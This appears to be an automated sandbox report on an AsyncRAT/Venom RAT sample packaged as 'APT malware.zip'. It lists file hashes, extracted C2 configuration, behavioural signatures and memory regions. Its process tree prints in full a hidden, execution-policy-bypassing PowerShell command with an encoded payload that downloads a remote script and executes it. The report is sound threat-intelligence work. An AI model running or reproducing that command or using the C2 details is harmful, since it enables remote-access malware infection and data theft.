asyncrat | 6d1374bb816d1e54b4cffae41830837e0c83985156a4b33f5dbce644bdb61de9

Resubmissions

23-09-2023 06:54

230923-hpl7dsdf3x 10

22-09-2023 05:10

230922-ftprzafc57 10

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
23-09-2023 06:54

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General

Target

APT malware.zip
Size

1.7MB
MD5

e592b6b828fb175e0b00840e7d79a3b8
SHA1

48ad32246f2fea1888e8a084258607f5a9988a24
SHA256

6d1374bb816d1e54b4cffae41830837e0c83985156a4b33f5dbce644bdb61de9
SHA512

47083251696dcf0a5b5a489a9e000c3c2c8a1d110905b4460a6862f3669db3927fec90543c93d030b22b406efb7db0dc3344e85d6c478d649e1e4afba96061f3
SSDEEP

49152:kboYzEp67lBFpmR35Qap7+FmUMhQlSfqUT6mz6z6:kbjz267lpSQap7tUmqSfLLz6z6

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

193.161.193.99:31507

Mutex

ajmlxbvgoegjpkevdnz

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/692-19-0x000001E0AE4B0000-0x000001E0AE4C8000-memory.dmp	asyncrat

Blocklisted process makes network request 11 IoCs

flow	pid	Process
61	692	powershell.exe
63	692	powershell.exe
64	692	powershell.exe
65	692	powershell.exe
66	692	powershell.exe
67	692	powershell.exe
68	692	powershell.exe
69	692	powershell.exe
70	692	powershell.exe
74	692	powershell.exe
75	692	powershell.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
692	powershell.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	692	powershell.exe
Token: SeDebugPrivilege	692	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
692	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1500 wrote to memory of 2668	1500	ekeng-mta.exe	106
PID 1500 wrote to memory of 2668	1500	ekeng-mta.exe	106
PID 2668 wrote to memory of 692	2668	cmd.exe	108
PID 2668 wrote to memory of 692	2668	cmd.exe	108

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\APT malware.zip"
1⤵
PID:3624

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4312

C:\Users\Admin\Documents\APT malware\ekeng-mta.exe
"C:\Users\Admin\Documents\APT malware\ekeng-mta.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -ep bypass -w hidden -e aQB3AHIAIABoAHQAdABwADoALwAvADEAMwA5AC4AOAA0AC4AMgAzADEALgAxADkAOQA6ADgAMAA4ADAALwBnAGUAdAAvAGoANgBGADIAZgBRAG4AUgBPADQALwBtAHQAYQAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAHwAIABpAGUAeAA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -w hidden -e aQB3AHIAIABoAHQAdABwADoALwAvADEAMwA5AC4AOAA0AC4AMgAzADEALgAxADkAOQA6ADgAMAA4ADAALwBnAGUAdAAvAGoANgBGADIAZgBRAG4AUgBPADQALwBtAHQAYQAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAHwAIABpAGUAeAA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:692

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zyso52mk.kn2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/692-20-0x000001E0ADA20000-0x000001E0ADA30000-memory.dmp

Filesize
64KB

Download
memory/692-17-0x000001E0ADA20000-0x000001E0ADA30000-memory.dmp

Filesize
64KB

Download
memory/692-11-0x000001E0ADA20000-0x000001E0ADA30000-memory.dmp

Filesize
64KB

Download
memory/692-12-0x000001E0ADA20000-0x000001E0ADA30000-memory.dmp

Filesize
64KB

Download
memory/692-13-0x000001E0ADA20000-0x000001E0ADA30000-memory.dmp

Filesize
64KB

Download
memory/692-14-0x00007FFB76C50000-0x00007FFB77711000-memory.dmp

Filesize
10.8MB

Download
memory/692-10-0x00007FFB76C50000-0x00007FFB77711000-memory.dmp

Filesize
10.8MB

Download
memory/692-25-0x000001E0ADA20000-0x000001E0ADA30000-memory.dmp

Filesize
64KB

Download
memory/692-15-0x000001E0ADA20000-0x000001E0ADA30000-memory.dmp

Filesize
64KB

Download
memory/692-18-0x000001E0AE850000-0x000001E0AE8A0000-memory.dmp

Filesize
320KB

Download
memory/692-19-0x000001E0AE4B0000-0x000001E0AE4C8000-memory.dmp

Filesize
96KB

Download
memory/692-2-0x000001E0AD9D0000-0x000001E0AD9F2000-memory.dmp

Filesize
136KB

Download
memory/692-21-0x000001E0ADA20000-0x000001E0ADA30000-memory.dmp

Filesize
64KB

Download
memory/692-24-0x000001E0ADA20000-0x000001E0ADA30000-memory.dmp

Filesize
64KB

Download
memory/1500-16-0x0000000000400000-0x000000000058F000-memory.dmp

Filesize
1.6MB

Download